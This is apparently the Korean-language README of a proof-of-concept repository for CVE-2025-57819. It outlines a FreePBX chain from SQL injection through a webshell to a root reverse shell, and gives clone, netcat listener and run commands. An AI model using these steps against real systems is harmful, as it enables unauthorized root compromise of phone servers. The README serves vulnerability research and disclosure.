CVE-2025-57819 — FreePBX SQLi → RCE → Root

CVE-2025-57819에 대한 전체 체인 PoC입니다. FreePBX의 endpoint 모듈에 존재하는 인증 없는 오류 기반 SQL 인젝션이 cron 작업 주입 및 incron 권한 상승을 통해 루트 셸로 이어집니다.

승인된 테스트 및 연구 목적으로만 사용하세요. 소유하지 않은 시스템에는 사용하지 마십시오.

동작 방식

SQLi (EXTRACTVALUE) → INSERT cron job → webshell drop → incron trigger → root shell

1. /admin/ajax.php에서 오류 기반 인젝션으로 DB 정보 추출
2. 웹 루트에 PHP 웹셸을 작성하는 cron 작업 주입
3. cron 실행을 대기(~60초)하고 asterisk 권한으로 RCE 확인
4. 루트 권한으로 fwconsole 후크를 실행하는 incron 트리거 파일 생성
5. 리스너에서 리버스 셸 수신

설치

git clone https://github.com/ozcanpng/CVE-2025-57819-FreePBX-RCE2Root
cd CVE-2025-57819-FreePBX-RCE2Root
pip install -r requirements.txt

사용법

python3 CVE-2025-57819.py <target> <lhost> <lport> [--cleanup]

먼저 리스너를 시작하세요:

nc -lvnp 9999

그런 다음 실행하세요:

python3 CVE-2025-57819.py freepbx.example.com 192.168.1.50 9999

--cleanup은 공격 후 웹셸과 cron 작업을 제거합니다.

영향 범위

endpoint 모듈이 설치된 FreePBX. /admin/ajax.php의 brand 매개변수가 SQL 쿼리에 검증 없이 전달됩니다.

참고 자료

• FreePBX 보안 권고 GHSA-m42g-xg4c-5f3h
• NVD — CVE-2025-57819

작성자

ozcanpng — github.com/ozcanpng — ozcanpng.dev